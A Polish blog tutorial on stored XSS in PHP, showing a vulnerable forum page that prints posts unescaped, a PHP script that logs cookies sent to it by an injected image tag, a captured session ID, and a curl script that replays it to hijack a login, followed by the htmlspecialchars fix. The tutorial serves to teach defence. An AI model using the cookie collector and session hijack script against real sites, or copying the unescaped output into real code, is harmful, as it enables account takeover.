(Nie)bezpieczny kod – XSS

W poprzednim wpisie opisałem technikę ataku SQL injection. W kolejnym artykule cyklu pokażę na czym polega równie popularny atak XSS i jak się przed nim uchronić.

Trochę teorii

Cross-site scripting (XSS) polega na osadzeniu w treści atakowanej strony kodu (zazwyczaj JavaScript), który wyświetlony przez innego użytkownika może doprowadzić do wykonania przez niego niepożądanych akcji. Jedną z takich akcji może być przesłanie pliku cookie atakującemu.

Cookie – jest to mały fragment tekstu przesyłany przez stronę www do użytkownika. W pliku cookie mogą być przetrzymywane np. ustawienia lub identyfikator sesji. Pliki cookie mogą być pobierane tylko w obrębie domeny, czyli strona www.przyklad123.pl nie może pobrać cookies zapisanych przez www.przyklad321.pl

Warto pamiętać również o tym jak działa mechanizm sesji w PHP. Informacje zapamiętywane są w zmiennych sesyjnych zapisywanych na serwerze strony, ale identyfikator sesji jest już wysyłany jako plik cookie. Jeżeli się go wykradnie można przechwycić sesję użytkownika.

Przykładowy atak XSS

Do analizy ataku XSS wykorzystamy formularz dodawania postu na forum oraz „prymitywny” system logowania.

Na początek przygotuj strukturę bazy danych:

CREATE TABLE post  (
  id INT(11) NOT NULL AUTO_INCREMENT PRIMARY KEY,
  content TEXT NOT NULL
)
ENGINE=InnoDB;

Tworzę tabelę post, do której będą dodawane posty poprzez formularz. Tak wygląda struktura bazy danych:

Zrzut bazy danych

Stworzę jeszcze prowizoryczny panel logowania. Jest to plik logowanie.php:

<?php
session_start();
if (!isset($_SESSION['logged'])) {
    $_SESSION['logged'] = false;
}
if (isset($_GET['action'])) {
    if ($_GET['action'] == 'logout') {
        $_SESSION['logged'] = false;
        session_destroy();
    }
}
if ($_SESSION['logged'] === false && isset($_POST['login']) && isset($_POST['password']) ) {
    if ($_POST['login'] == 'demo' && $_POST['password'] == 'demo'
    ) {
        $_SESSION['logged'] = true;
    } else {
        echo '<p>Złe hasło!!!</p>';
        $_SESSION['logged'] = false;
    }
}
?>
    <!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
    <meta charset="utf-8">
<title>XSS - logowanie</title>
</head>
<body>
<?php if ($_SESSION['logged']): ?>
   Jesteś zalogowany! <a href="?action=logout">Wyloguj mnie!</a>
<?php else: ?>
    <form method="post" action="">
        Login: <input type="text" name="login"/><br/>
        Hasło: <input type="password" name="password"/><br/><br/>
        <input type="submit" value="Zaloguj"/>
    </form>
<?php endif; ?>
</body>
</html>

Do uwierzytelniania nie używam nawet bazy danych. Dane logowania są po prostu zapisane „na sztywno” w kodzie. Po udanym zalogowaniu wyświetli się komunikat „Jesteś zalogowany!”.

Mając strukturę bazy danych i panel logowania przejdźmy do formularza dodawania postu. Jest to plik post.php:

<?php
<?php
$dbh = new PDO('mysql:host=****;dbname=****', '****', '****');
$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); 
if(isset($_POST)) {
    $content = $_POST['content'];
    $newPost = $dbh->prepare("INSERT INTO post SET content=:content");
    $newPost->bindValue("content", $content, PDO::PARAM_STR );
    $newPost->execute();
}
?>
<html>
<head>
    <title>XSS</title>
</head>
<body>
<form action="" method="post">
    Tekst: <br/><textarea name="content"></textarea><br/>
    <input type="submit" value="Dodaj"/>
</form>
<h4>Dodane posty</h4>
<ul>
    <?php
    $posts=$dbh->prepare("SELECT * from post ORDER by id DESC");
    $posts->execute();
    foreach($posts->fetchAll() as $post) {
        echo '<li>'.$post['content'].'</li>';
    }
?>
</ul>
</body>
</html>

W powyższym pliku są wykonywane dwie akcje: dodawanie postu do bazy danych i wyświetlanie wszystkich postów z bazy danych. Zauważ, że zapis do bazy danych jest zabezpieczony przed SQL injection. Zobaczmy co się stanie, gdy w polu tekstowym wpiszę kod JavaScript wyświetlający alert.

Wstrzykiwanie kodu JavaScript z alertem

Po kliknięciu przycisku „Dodaj” i odświeżeniu strony wyświetli się alert.

Alert po wstrzyknięciu kodu JavaScript

Jak widzisz został wykonany kod JavaScript. W tym konkretnym przypadku wyświetla się tylko alert (jest nieszkodliwy), ale mając „otwartą furtkę” mogę dodać bardziej wyrafinowany kod…

Kradzież cookie przez XSS

W powyższym przykładzie jest już bardziej zaawansowany kod. Wstrzykuję do strony obrazek, który przesyła metodą GET plik cookie danej domeny. Wykorzystuję tutaj fakt, że obrazki są wczytywane automatycznie.

Złośliwy kod jest już wstrzyknięty na stronie. Pora teraz na odebranie danych :) U mnie jest to plik obrazek.php:

<?php
if (isset($_GET['cookie'])) {
   file_put_contents('cookies_data.txt', date('Y-m-d H:i').' - '.$_GET['cookie']."\n", FILE_APPEND | LOCK_EX);
};
header("Content-type: image/gif");

Jest to bardzo prosty skrypt. Po prostu zapisuję sobie dane z tablicy $_GET wraz z datą do pliku cookies_data.txt. Można zapisywać dane również na inne sposoby – np wysyłać informacje na maila. Na koniec ustawiam nagłówek obrazka. Można dodatkowo wyświetlić jakiś obrazek, by bardziej ukryć nasze zamiary.

Z naszej strony jest już wszystko gotowe. Czekamy teraz aż się użytkownik zaloguje i przejdzie na stronę post.php.

Panel logowania

Po zalogowaniu się na dane demo demo i przejściu na stronę post.php skrypt obrazek.php zapisze mi takie dane:

2014-11-18 13:27 - PHPSESSID=2f59021b60788fda60f5ee3f5fd374a8

W pliku cookie użytkownika jest bardzo ciekawa rzecz – jego id sesji (PHPSESSID). Teraz już nic nie stoi na przeszkodzie, by się pod niego podszyć i przejąć kontrolę nad jego kontem.

Do tego celu stworzę skrypt z użyciem biblioteki Curl, który połączy się z panelem logowania i wyśle jako plik cookie zdobyty identyfikator sesji. Plik curl.php:

<?php
$adr = 'http://old.lukasz-socha.pl/przyklady/xss/logowanie.php';
$connect = curl_init();
curl_setopt($connect, CURLOPT_URL, $adr);
curl_setopt($connect, CURLOPT_COOKIE, "PHPSESSID=2f59021b60788fda60f5ee3f5fd374a8");
$result = curl_exec($connect);
curl_close($connect);
echo $result;

Po wejściu na stronę z innej przeglądarki wyświetli mi się panel po zalogowaniu, bez podawania danych:

Udany atak XSS

Pokazana metoda ataku wymaga nieco więcej pracy niż przy SQL injection, ale mimo tego jest stosunkowo łatwa do realizacji i równie niebezpieczna…

Jak się zabezpieczyć przed XSS?

Sposób zabespieczenia przed XSS jest dość łatwy – przed wyświetleniem danych z bazy wystarczy pozamieniać znaki specjalne (np. < >) na encje HTML – można użyć do tegu funkcji htmlspecialchars(). W moim przykładzie poprawny kod wygląda następująco:

<?php
    $posts=$dbh->prepare("SELECT * from post ORDER by id DESC");
    $posts->execute();
    foreach($posts->fetchAll() as $post) {
        echo '<li>'.htmlspecialchars($post['content']).'</li>';
    }
?>

Uwaga: informacje przedstawione w artykule służą tylko celom edukacyjnym. ZABRONIONE jest wykorzystywanie informacji przedstawionych w artykule do celów niezgodnych z prawem. Autor nie ponosi odpowiedzialności za ewentualne szkody.

Print Friendly, PDF & Email